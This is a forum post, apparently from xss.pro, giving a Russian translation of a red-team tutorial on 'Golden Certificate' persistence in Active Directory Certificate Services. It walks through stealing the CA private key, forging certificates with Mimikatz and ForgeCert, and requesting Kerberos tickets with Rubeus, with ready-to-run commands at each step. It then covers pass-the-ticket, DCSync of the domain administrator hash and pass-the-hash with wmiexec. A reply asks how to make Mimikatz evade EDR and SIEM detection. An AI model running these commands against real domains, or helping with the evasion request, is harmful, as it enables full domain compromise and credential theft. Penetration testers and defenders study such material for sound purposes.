• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Золотой Сертификат

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Золотой Сертификат

Технологии сохранения в домене позволяют красным командам, скомпрометировавшим домен, работать с наивысшим уровнем привилегий в течение длительного периода времени. Одним из наиболее распространенных методов сохранения домена является атака Golden Ticket , которая включает создание билета Kerberos с использованием хэша NTLM учетной записи "krbtgt". Однако в доменах с развернутыми серверами, действующими как службы сертификации Active Directory (AD CS), возможно злоупотребление сохранением домена в случае компрометации. Это возможно путем кражи закрытого ключа сертификата ЦС, который может позволить красной команде подделать и подписать сертификат, чтобы использовать его для аутентификации. Проверка подлинности на основе сертификатов включена по умолчанию в домене во время развертывания служб сертификации Active Directory (AD CS). Поэтому необходимо, чтобы эти системы считались таер нулевого уровня и должным образом защищались.

Первоначально эта техника была реализована Бенджамином Дельпи (https://twitter.com/gentilkiwi) в Mimikatz. Однако Уилл Шредер (https://twitter.com/harmj0y ) и Ли Кристенсен( https://twitter.com/tifkin_) обсудили эту тему в документе https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf и выпустили инструмент, который можно использовать во время операций красной команды для подделки сертификата ЦС. Незаметность крайне важна для красной команды, а сохранение домена с помощью золотого сертификата обеспечивает это преимущество по сравнению с другими методами, такими как DCShadow (https://pentestlab.blog/2018/04/16/dcshadow/) и Golden Ticket, которые существуют уже много лет. Для сохранения домена с помощью золотого сертификата необходимо выполнить следующие шаги:

1. Извлечь сертификата (CA)
2. Подделать сертификат ЦС
3. Получите билет Kerberos ( учетная запись DC)
4. Выполните Pass the Ticket

Извлечение сертификата


Сертификат ЦС и закрытый ключ хранятся на сервере ЦС. Используя RDP-подключение к системе, их можно получить с помощью функции резервного копирования "certsrv.msc".


1647073726183.png


В мастере резервного копирования центра сертификации закрытый ключ и сертификат CA можно экспортировать в указанное место.

1647073747301.png


Сертификат ЦС будет экспортирован как файл p12 (обмен личной информацией).

1647073757954.png


Однако существует множество других методов, которые можно использовать для извлечения сертификата ЦС и закрытого ключа с сервера. Выполнение Seatbelt ( https://github.com/GhostPack/Seatbelt) с параметром "Сертификаты" может перечислить сохраненные сертификаты ЦС.

Seatbelt.exe Certificates

1647073773870.png


Mimikatz также может взаимодействовать с криптохранилищами для извлечения и экспорта сертификатов и закрытых ключей. Исправление неэкспортируемых ключей "CryptoAPI" и "KeyIso" станет доступным для экспорта от ряда поставщиков ключей.

privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export

1647073792149.png


1647073799570.png


Сертификаты будут извлечены на диск в форматах .DER и .PFX.

1647073809672.png


SharpDPAPI :)//github.com/GhostPack/SharpDPAPI) также можно использовать для извлечения сертификатов. Выполнение команды "certificates /machine" будет использовать хранилище сертификатов компьютера для извлечения расшифровываемых сертификатов компьютера и закрытых ключей.

SharpDPAPI.exe certificates /machine

1647073828104.png

И закрытый ключ, и сертификат будут отображаться в консоли.

1647073838575.png


Извлеченный закрытый ключ и сертификат можно записать в файл с расширением .PEM. Выполнение следующей команды может преобразовать сертификат в пригодный для использования формат .PFX, позволяющий использовать его для аутентификации с помощью Rubeus.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

1647073860801.png


Подделка сертификата ЦС


Mimikatz можно использовать для подделки и подписи сертификата с помощью модуля "crypto::scauth".Изначально этот модуль был разработан для создания клиентских сертификатов аутентификации по смарт-картам. Требуемые аргументы — это имя субъекта центра сертификации и основное имя пользователя, для которого будет создан сертификат. При желании можно использовать аргумент "/pfx" для определения имени файла сертификата, который будет создан.

crypto::scauth /caname:ca /upn:pentestlab@purple.lab

1647073878247.png


В качестве альтернативы ForgeCert(https://github.com/GhostPack/ForgeCert) был разработан Ли Кристенсеном (https://twitter.com/tifkin_) на C# и позволяет красным командам подделывать сертификат для любого пользователя домена, использующего сертификат ЦС для аутентификации. Инструмент может быть запущен из памяти имплантата и запишет файл на диск. Выполнение следующей команды создаст поддельный сертификат для пользователя "pentestlab", который будет подписан закрытым ключом сертификата ЦС.

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName pentestlab@purple.lab --NewCertPath localadmin.pfx --NewCertPassword Password123

1647073894963.png


Следует отметить, что сертификат должен быть создан для активного пользователя в домене. Поэтому его нельзя использовать для учетной записи "krbtgt". Сертификат подделки будет иметь срок действия 1 год и будет действовать до тех пор, пока действителен сертификат ЦС (обычно 5 лет). Помимо учетных записей пользователей домена, учетные записи компьютеров также могут использоваться для сохранения домена, поскольку могут использоваться такие методы, как DCSync, Pass the Ticket и S4U2Self.

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@purple.lab --NewCertPath DC$.pfx --NewCertPassword Password123

1647073910813.png


Билет Kerberos


Билет Kerberos можно запросить в центре распространения ключей (KDC), используя поддельный сертификат для проверки подлинности.

Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123

1647073926248.png


1647073934233.png


Pass the Ticket


Сертификат, принадлежащий учетной записи компьютера контроллера домена, может использоваться с любого хоста в домене для запроса билета Kerberos. Выполнение следующей команды извлечет билет в формате base64.

Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123

1647073951555.png


1647073958207.png


Билет base64 можно расшифровать и записать в файл с расширением .kirbi.

echo "<base64>" | base64 -d > dc$.kirbi

1647073975631.png


Билет может быть передан на любой хост Windows и импортирован в любой пользовательский сеанс с использованием техники передачи билета.

Rubeus.exe ptt /ticket:dc$.kirbi

1647073996431.png


Поскольку билет принадлежит учетной записи компьютера контроллера домена, могут выполняться повышенные действия, такие как DCSync. Из текущего сеанса выполнение Mimikatz и выполнение приведенной ниже команды извлечет хэш NTLM пользователя Administrator, который является учетной записью администратора домена.

lsadump::dcsync /user:Administrator

1647074016956.png


Хэш можно использовать для установления доступа к контроллеру домена с использованием техники передачи хэша или через соединение WMI.

python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1

1647074035059.png


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2021/11/15/golden-certificate/
 
Yes! Again another wonderful article. Thanks for sharing pentester mate. I am following that website and their twitter address. They have great PoCs for testing in home lab. I will test this golden ticket but i have a question. SIEM, SOAR and EDR tools are detecting mimikatz and i am looking for a way to bypass those tools and make mimikatz undetected. Do you have any idea about this? I would like to learn from you!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх